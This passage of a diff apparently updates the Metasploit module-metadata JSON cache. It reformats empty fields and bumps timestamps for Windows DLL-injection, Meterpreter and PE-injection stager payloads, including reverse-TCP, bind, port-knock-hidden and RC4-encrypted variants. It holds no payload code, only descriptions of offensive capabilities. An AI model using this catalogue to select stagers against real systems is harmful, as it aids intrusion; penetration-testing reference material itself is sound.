null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255637,9 +257346,7 @@ "payload_windows/patchupdllinject/reverse_tcp_allports": { "name": "Windows Inject DLL, Reverse All-Port TCP Stager", "fullname": "payload/windows/patchupdllinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255650,24 +257357,21 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255678,9 +257382,7 @@ "payload_windows/patchupdllinject/reverse_tcp_dns": { "name": "Windows Inject DLL, Reverse TCP Stager (DNS)", "fullname": "payload/windows/patchupdllinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255692,24 +257394,21 @@ "RageLtMan" ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255720,9 +257419,7 @@ "payload_windows/patchupdllinject/reverse_tcp_rc4": { "name": "Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/patchupdllinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255735,24 +257432,21 @@ "RageLtMan" ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255763,9 +257457,7 @@ "payload_windows/patchupdllinject/reverse_tcp_rc4_dns": { "name": "Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/patchupdllinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255778,24 +257470,21 @@ "RageLtMan" ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255806,9 +257495,7 @@ "payload_windows/patchupdllinject/reverse_tcp_uuid": { "name": "Windows Inject DLL, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/patchupdllinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255819,24 +257506,21 @@ "OJ Reeves" ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255847,9 +257531,7 @@ "payload_windows/patchupmeterpreter/bind_hidden_ipknock_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255870,15 +257552,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255889,9 +257570,7 @@ "payload_windows/patchupmeterpreter/bind_hidden_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager", "fullname": "payload/windows/patchupmeterpreter/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255912,15 +257591,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255931,9 +257609,7 @@ "payload_windows/patchupmeterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/patchupmeterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255944,24 +257620,21 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255972,9 +257645,7 @@ "payload_windows/patchupmeterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255986,24 +257657,21 @@ "OJ Reeves" ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256014,9 +257682,7 @@ "payload_windows/patchupmeterpreter/bind_named_pipe": { "name": "Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/patchupmeterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256026,24 +257692,21 @@ "UserExistsError" ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256054,9 +257717,7 @@ "payload_windows/patchupmeterpreter/bind_nonx_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupmeterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256066,24 +257727,21 @@ "vlad902 " ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256094,9 +257752,7 @@ "payload_windows/patchupmeterpreter/bind_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)", "fullname": "payload/windows/patchupmeterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256107,24 +257763,21 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256135,9 +257788,7 @@ "payload_windows/patchupmeterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/patchupmeterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256150,24 +257801,21 @@ "RageLtMan" ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256178,9 +257826,7 @@ "payload_windows/patchupmeterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/patchupmeterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256191,24 +257837,21 @@ "OJ Reeves" ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256219,9 +257862,7 @@ "payload_windows/patchupmeterpreter/find_tag": { "name": "Windows Meterpreter (skape/jt Injection), Find Tag Ordinal Stager", "fullname": "payload/windows/patchupmeterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256230,24 +257871,21 @@ "jt " ], "description": "Inject the meterpreter server DLL (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256258,9 +257896,7 @@ "payload_windows/patchupmeterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)", "fullname": "payload/windows/patchupmeterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256271,24 +257907,21 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256299,9 +257932,7 @@ "payload_windows/patchupmeterpreter/reverse_nonx_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupmeterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256311,24 +257942,21 @@ "vlad902 " ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256339,9 +257967,7 @@ "payload_windows/patchupmeterpreter/reverse_ord_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupmeterpreter/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256351,24 +257977,21 @@ "spoonm " ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256379,9 +258002,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256392,24 +258013,21 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256420,9 +258038,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_allports": { "name": "Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256433,24 +258049,21 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256461,9 +258074,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_dns": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256475,24 +258086,21 @@ "RageLtMan" ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256503,9 +258111,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256518,24 +258124,21 @@ "RageLtMan" ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256546,9 +258149,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_rc4_dns": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256561,24 +258162,21 @@ "RageLtMan" ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256589,9 +258187,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256602,24 +258198,21 @@ "OJ Reeves" ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/patchupmeterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256630,9 +258223,7 @@ "payload_windows/peinject/bind_hidden_ipknock_tcp": { "name": "Windows Inject PE Files, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/peinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256643,7 +258234,7 @@ "sf ", "Borja Merino " ], - "description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\nloader will execute the pre-mapped PE image starting from the address of entry after performing image base\nrelocation and API address resolution. This module requires a PE file that contains relocation data and a\nvalid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\nare not currently supported. Also PE files which use resource loading might crash.\nListen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode", + "description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\nloader will execute the pre-mapped PE image starting from the address of entry after performing image base\nrelocation and API address resolution. This module requires a PE file that contains relocation data and a\nvalid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\nare not currently supported. Also PE files which use resource loading might crash.\n\n Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode", "references": [ "URL-https://github.com/EgeBalci/Amber", "URL-http://www.shelliscoming.com/2014/07/ip-knock-shellcode-spoofed-ip-as.html" @@ -256654,15 +258245,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256673,9 +258263,7 @@ "payload_windows/peinject/bind_hidden_tcp": { "name": "Windows Inject PE Files, Hidden Bind TCP Stager", "fullname": "payload/windows/peinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256697,15 +258285,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256716,9 +258303,7 @@ "payload_windows/peinject/bind_ipv6_tcp": { "name": "Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256738,15 +258323,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256757,9 +258341,7 @@ "payload_windows/peinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256780,15 +258362,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256799,9 +258380,7 @@ "payload_windows/peinject/bind_named_pipe": { "name": "Windows Inject PE Files, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256819,15 +258398,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256838,9 +258416,7 @@ "payload_windows/peinject/bind_nonx_tcp": { "name": "Windows Inject PE Files, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/peinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256858,15 +258434,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256877,9 +258452,7 @@ "payload_windows/peinject/bind_tcp": { "name": "Windows Inject PE Files, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256899,15 +258472,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256918,9 +258490,7 